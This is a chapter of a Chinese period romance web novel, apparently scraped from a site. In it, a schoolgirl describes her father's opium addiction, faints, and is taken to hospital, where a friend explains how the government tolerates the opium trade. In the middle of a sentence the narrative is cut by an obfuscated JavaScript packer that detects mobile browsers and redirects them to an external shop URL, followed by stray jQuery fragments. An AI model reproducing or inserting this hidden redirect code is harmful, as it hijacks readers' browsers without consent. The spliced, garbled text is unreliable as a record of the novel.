30. 第 30 章
作品:《救命之恩 无以为报》 茶摊支在路边,两个煤炉常年不息,炉上烧着开水,客人一来,摊主便手脚麻利地舀水泡茶,毕竟是穷人家的茶馆,比不得正经茶馆,茶叶上不得台面,没有铁观音、金骏眉,有的不过是一些高碎或是满天星。
图添一口茶味罢了。
元九要了两碗高碎,等到茶水刚刚好可以入喉的时候,陈晨整理好了心情,缓缓对元九述说。
“自母亲去后,日子越发的难过,父亲为了躲避现实、麻痹自己,吸食上了鸦片,天长日久的,量渐渐大了,一天不烧上几泡便觉得浑身虫子在咬、在钻,难受得很,家里哥哥在不清净,他便躲去大烟馆,大烟馆里面能有什么好人,瞧他手上有两个钱,带着他去赌场,这下吃喝嫖赌,就差嫖了,赌输了便回来摔天摔地要钱,见实在挖不出钱来,便拿了家里仅有的值钱物去当,漫说家里本就不富裕,便是大富大贵之家,也经不住这样折腾,他结交的那些人,都不是什么好人,我现在怕极了,生怕他赌红了眼,家都不要了,一起卖掉去。”
说到伤心处,陈晨水汪汪的眼睛里流出一颗颗珍珠,怎么也擦不完。
元九不知该如何安慰,只能抱住她轻轻地拍拍她的背。
陈晨扑在元九怀中呜呜地哭,一双手紧紧地抱住她,像是要把这段时间的委屈一齐哭出来一样。
许久,陈晨一腔的伤心终于全哭出来了,她抬起头,整张脸红彤彤的、湿漉漉的,水洗过一般。
“你别急,”元九宽慰她,“我猜想赌瘾大约是不深的,当务之急是要先戒了鸦片,一旦不再吸食鸦片,自然不会去大烟馆,也就不会再与那些游手好闲、吃喝嫖赌的人有来往了。”她手在书包里胡乱地掏,终于摸到了一片柔软,扯出来给陈晨擦眼泪。
陈晨接过手绢,将半张脸埋在里面,痛苦道:“我何尝不是这样想的,当初吸食的时候讲得好,这个东西吸食几回并不会上瘾,相反还能止痛忘忧,便是上了瘾,只要稍稍用些意志力便能戒掉,我们轻易信了这话,现在才知根本不是这回事。”陈晨只恨不能回到那天,将父亲拿来的纸包丢的远远的,再将说这话的人狠狠地打一顿。
“绑也绑了,关也关了,你是没瞧见他瘾犯了的那副样子,全然没有了我熟悉的模样,涕泗横流,在地上打滚,不顾长幼秩序,跪在地上朝我磕头,求我给一点。”回忆起父亲犯瘾的样子,陈晨好似眼前便出现了这副不堪入目的场景,骇得她浑身直打哆嗦,她咬着牙接着说道:“我倒是狠着心要帮他戒,可是他不争气,半夜挣脱了绳子,偷偷撬开窗户从那跑了,第二天回来,一身狼狈,神色却颇为飘飘然,不消说又吸上了。”
来这许多日子,元九被保护的好好的,竟忘了这是个吃人的时代。
“这里没有戒毒所吗?”元元九努力地去想应当怎么办,可是据她有限的见识,根本没有什么好办法,她只能道,“凭我们的力量只怕是无法帮助他戒掉鸦片,但若是专门的戒毒所,说不定可以。”她想到这个,眼神忽然亮了,是啊,戒毒所便是帮助这些人的,只要将他送进去,里面会有专门的人用专业的方法帮助他,一旦将鸦片瘾成功戒掉,陈晨便不用这样伤心了。
可是陈晨那双红肿的眼睛里射出的是迷惑神情,她不解道:“戒毒所?我并未听过,也不曾见到过。”
元九疑心陈晨一心只读圣贤书,两耳不闻窗外事,因此不知,于是唤了茶水摊老伯过来低声问询,老伯皱眉想了想,摇头,又怕自己不知道而别人知道,还帮着问了好几个吃茶的人,都道没有。
可见是真没有。
陈晨的希望落空。
她失望道:“这是天要亡我,每日辛苦读书有什么用,终究没有办法的。”
不争气的父亲,痴傻的哥哥,就算她卯足了劲考上了大学又怎样,她怎会放心丢下他们读自己的书呢。
陈晨双眼无神地望着桌上自己才借的书,她英语不行,正在争分夺秒地补习英语,没有办法请家庭教师,没有钱财买录音机,她只能自己多多用功,多多看书,有不懂的再去请教老师同学,可是……她心下感慨竟是白费功夫,再也用不上了,心中一直绷着的一根弦嘣的一声断了,强撑的一股心气似乎从她的身体里飞了出去,越飞越高、越飞越高,快要与天齐高、快要消失不见。
她叹了一声,身子软软的,竟顺着元九的身体滑了下来。
元九一伸手搂紧了,捧着她的脸一看,眼睛紧紧闭着,竟是晕了。
她拍了拍,又掐人中,终是不见醒,于是她慌了,游目四周,不知该如何是好。
幸而在这时,一辆眼熟的汽车打着喇叭由东向西驶来,元九赶忙大声招呼茶摊老伯去拦车。
她们甫坐下,便开始哭哭啼啼,老伯已注意了半天,眼见得人晕倒,人命关天的大事,顾不得招呼才来的客人,也顾不得放下手中的茶壶,一把拎着往马路上冲去。
车上坐的正是汪意致与夏修筠。
当时汪公馆内两人目送元九离去,夏修筠道:“这样好的花,请允许我采一些借花献佛吧,昨日我观天象,今天是一个好日子,我想今日可以试着向依云说明白自己的心意。”采了花,又要赶在依云离开公园前去送,因此借了汪意致的车。
可是晕倒的陈晨打乱了他的计划,他只能暂时搁置,与他们一起往医院方向去。
西式医院收费昂贵,寻常人家舍不得,只有一些上等人家会将病人送来此处,因此门前总是冷冷清清的。
他们才将车停好,便有穿着白大褂戴着白色帽子的护士涌上来询问什么情况,得知人昏迷,便叫人回去将担架抬出来。
很快这群训练有素的人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603781|141774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便将陈晨抬到了病房,医生已经在此等候,见病人进来立马站起身来,将闲杂人等往外一赶,只留下元九一人陪着看诊。
片刻后,他开门出来,一边从脸上摘下口罩,一边低头与元九交代注意事项,而跟在他身后的护士则对汪意致与夏修筠道:“你们俩谁过来交钱办手续。”
夏修筠毛遂自荐,跟护士去了,将空间留给汪意致与元九。
“急火攻心外加营养不良,没什么大事的,输上两瓶药水很快就会好了的,”目送医生远去,汪意致安慰元九道,“不要太担忧。”
元九背靠着墙,勉强露出一个笑容,正要道谢,话还未出口,便被已经知晓她要说什么的汪意致伸手拦住:“这种见外的话不要再说,你的朋友自然也是我的朋友。”说完这句话不等元九反应,他岔开话题问道:“还没来得及吃晚饭吧,想吃什么我叫人去买。”
元九偏过头从走廊尽头的窗户那望天,医院里到处装有明亮的灯泡,全部点起来,让人分不清白天黑夜,只有从窗户那才能窥见一丝真正的时间。原来天已经漆黑。
她身子猛地往前一冲,焦急道:“哎呀,我这么晚还没有回去,大哥一定很着急,会担心我出什么事了。”说着就想要回去报平安,但是转念一想陈晨这也离不了人,倒是陷入了两难境地,急得在病房门口打转。
幸而汪意致想得周到,早已经将一切事情安排妥当,他道:“医生看诊的时候我便交代司机去你家和元大哥说你要陪朋友看病的事了。”
这话一出,元九砰砰乱跳的心才回了原地。
陈晨一直昏睡着,俩人用过饭后便在病房外的椅子上坐了有一句没一句地聊。
聊陈晨是谁,聊她家的近况,聊害人的鸦片。
大多数时候都是元九在说,汪意致默默地听着,偶尔点头表示对元九所言的赞同。
谈到戒毒所时,汪意致摇头道:“这是事并非你想的那样简单,它牵扯甚广,为何政府不大力禁烟,你可想过?”民间大烟横行,何尝不是上头默许的结果。
“鸦片会带来大量的关税钱财,除非政府下定决心不要这些钱,底下的人才能顺势禁烟,但政权不稳,他们要稳固,必定要坚固精锐的枪炮,购置枪炮的钱从何而来,从大烟来。”
“他们默许满载鸦片的船只进入港口,流向千家万户,他们默许大烟馆林立,将一个个家庭迫害,他们默许百姓铲去庄稼,种植罂粟。”
这一晚,汪意致与元九谈了许久,元九这才知道,她眼中的和平都是假象,在她看不见的远方战争频仍、生灵涂炭,各种势力正互相争斗,列强政治经济各种侵略,国家正处内忧外患之中。
现如今的政府是少数派,并不得民心,等到真正代表民意、为百姓做实事的政府来了,大约戒毒所便能开办起来。